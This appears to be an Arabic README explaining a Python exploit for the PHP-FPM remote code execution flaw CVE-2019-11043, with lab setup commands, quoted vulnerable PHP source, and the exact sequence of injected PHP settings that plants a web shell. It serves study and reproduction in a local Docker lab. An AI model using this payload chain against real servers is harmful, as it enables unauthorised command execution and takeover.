
استغلال تنفيذ الأوامر عن بُعد في PHP-FPM
تنفيذ كود عن بُعد في PHP-FPM
Screencast: https://youtu.be/d6benC5FVZM
اكتُشف هذا الاستغلال من نوع zero-day في إعدادات PHP-FPM الشائعة خلال مسابقة Realworld CTF في عام 2019. يُستخدم تعبير منتظم لتحليل URI المطلوب، لكن أحرف السطر الجديد %0a لا تُطابَق. يؤدي ذلك إلى إثارة خلل في FastCGI يحسب طول سلسلة الاستعلام بشكل غير صحيح ويكتب بايتًا صفريًا في موقع قبل بداية المخزن المؤقت المقصود. من خلال اختيار دقيق لطول سلسلة الاستعلام، يمكن للمهاجم استغلال هذا الخلل لاستبدال متغيرات PHP الداخلية على الخادم وتنفيذ أوامر شل عشوائية.
يمكن العثور على التنفيذ الأصلي لهذا الاستغلال بلغة Go في هذا الرابط. استخدمت هذا، ومقالًا تحليليًا، وتقرير الخلل الأصلي كمراجع تعليمية من أجل تنفيذ الاستغلال بلغة Python.
Docker على لينكس نفّذ الأمر sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 لإنشاء خادم NGINX/PHP-FPM بسيط مع سكربت فارغ في /script.php. ملف Dockerfile لهذه الصورة متاح هنا، مع أنّه غير مطلوب لتشغيل الأمر المذكور أعلاه.
Docker على ماك نفّذ sudo docker-compuse up -d من المجلد /php/CVE-2019-11043 في مستودع vulhub. (Compose مضمّن مع Docker for Mac).
شغّل سكربت الاستغلال بالأمر python3 exploit.py http://localhost:8080/script.php (أو /index.php إذا استُخدم الخيار الثاني). بعد التنفيذ الناجح، سيكون الوصول إلى Web shell ممكنًا عبر إلحاق الأوامر بعنوان URL بعد ?a= (مثل: http://localhost:8080/script.php?a=uname -a).
ملاحظة: لقد حاولت إنشاء playbook بـ Ansible لهذه المهمة، لكنني اصطدمت بخلل يوقف العمل موثّق هنا. من غير الممكن بدء خدمات systemd على أنوية لينكس الحديثة (مثل أي إصدار Ubuntu LTS) باستخدام playbook من Ansible.
تحتوي ملفات إعدادات PHP-FPM على قاعدة لمطابقة طلبات URI الواردة مع سكربتات PHP، وغالبًا ما تبدو كما يلي:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
من المفترض أن تطابق هذه القاعدة أي URI بالشكل /script.php/pathinfo، لكن . في الواقع لا يطابق أحرف السطر الجديد %0a. إذا احتوى URI على سطر جديد، فسيؤدي ذلك إلى إثارة الخلل التالي في تنفيذ PHP:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
المشكلة هنا هي أن slen يُحسب بشكل صحيح كطول URI ناقص طول مسار المورد، لكن pilen يُضبط خطأً على 0. يؤدي ذلك إلى جعل path_info يساوي قيمة سالبة في السطر 1151، مما ينتج عنه تجاوز للمخزن المؤقت نحو الأسفل (buffer underflow). بعد هذا الحساب الخاطئ مباشرةً في الملف نفسه، لدينا:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
في السطر 1161، يُكتب بايت صفري إلى موقع الذاكرة الذي حُسب بشكل خاطئ في الخطوة السابقة. يمكن استغلال ذلك لاستهداف ثغرة في السطر 1165، حيث يكتب FastCGI متغير بيئة. بكتابة البايت الصفري داخل المؤشر الذي يتحكم في عملية كتابة متغير البيئة، يمكننا إدراج متغيرات PHP عشوائية في البيئة عبر طلبات HTTP الخاصة بنا.
تُخزَّن متغيرات البيئة في FastCGI في تسلسل متراص بإحكام من أزواج مفاتيح-قيم على شكل سلاسل نصية في الذاكرة. تُسمى بداية ونهاية المخزن المؤقت الذي يحمل هذه السلاسل _fcgi_data_seg. العضو pos يشير إلى الموقع المتاح التالي للكتابة. إذا امتلأ المخزن (pos > end)، يُخصص مخزن جديد ويشير العضو next إلى المخزن القديم.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
يصل FastCGI إلى متغيرات البيئة الفردية باستخدام جدول تجزئة يسمى _fcgi_hash.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
الفكرة هنا هي استبدال البايت الأقل أهمية من pos بهدف خداع FastCGI ليستبدل متغيرًا موجودًا بالفعل. من المفترض أن يأخذ الكود السلسلة الملحقة بمسار URI ويضعها في الموقع الخاص بـ PATH_INFO. لكننا نريد استبدال PHP_VALUE، لأن هذه القيمة تُسترد فورًا وتُحمَّل في إعدادات PHP بعد مقطع الكود المعرّض للثغرة.
كما ترى في exploit.py، الفرضية العامة لهذا الاستغلال هي إيجاد استعلام URI طويل جدًا يُحاذي المخزن المؤقت الداخلي لـ FastCGI بطريقة يمكننا استغلالها. الفكرة هي إيجاد العدد الدقيق للأحرف المطلوب لدفع FastCGI إلى تخصيص مخزن _fcgi_data_seg جديد. عند حدوث ذلك، سيكتب FastCGI بشكل متوقع PATH_INFO في المخزن الجديد، يليه مباشرةً كل ترويسات HTTP الخاصة بنا كقيم بيئة جديدة. لذا، الخطوة التالية هي معرفة عدد الأحرف التي نحتاج إلى حشو ترويسة HTTP عشوائية بها لمحاذاة الذاكرة وفق أغراضنا. وبما أننا مقيدون بكتابة بايت صفري واحد في موقع عشوائي، نحتاج إلى جعل pos يشير إلى إزاحة يمكن التنبؤ بها بالنسبة إلى PHP_VALUE بحيث يؤدي تعديل البايت الأقل أهمية إلى تحريكه إلى هناك.
التحدي هو أننا نريد استبدال PHP_VALUE، لكننا لا نعرف أين يقع هذا المتغير في الذاكرة. عندما يحمّل FastCGI هذا المتغير، فإنه يجزئ السلسلة PHP_VALUE للحصول على عنوان الذاكرة الفعلي وفقًا لخوارزمية بسيطة:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
بدلاً من تعديل جدول التجزئة نفسه بطريقة أو بأخرى، كل ما علينا فعله هو إنشاء متغير بيئة آخر له نفس طول السلسلة ونفس قيمة التجزئة مثل PHP_VALUE وفقًا لهذه الدالة. سيؤدي ذلك إلى خداع عملية البحث في التجزئة لتقرأ ترويسة HTTP الخاصة بنا بدلاً من المتغير المقصود. لاحظ مؤلف هذا الاستغلال بذكاء أن ترويسة اسمها EBUT ستُحفظ باسم HTTP_EBUT في بيئة FastCGI، وهو ما يحقق هذا الشرط.
بالنسبة للهجوم نفسه، نرسل طلبات GET تحتوي على ترويسة EBUT الخاصة بنا ونستخدم خلل استبدال البايت الصفري لاستبدال قيمتها. نحاول ضبط متغيرات بيئة PHP واحدًا تلو الآخر عبر طلبات متكررة:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
يؤدي التعديل الناجح لجميع هذه المتغيرات إلى تمكين استعلام جديد ?a= على الخادم لتنفيذ أكواد شل عشوائية. تتحقق حلقة الهجوم من النجاح في كل تكرار من خلال محاولة تنفيذ which which. يمكن للمهاجم بسهولة اكتشاف ما إذا كان ذلك ناجحًا عبر قراءة النتيجة من استجابة HTTP (مثل /bin/which).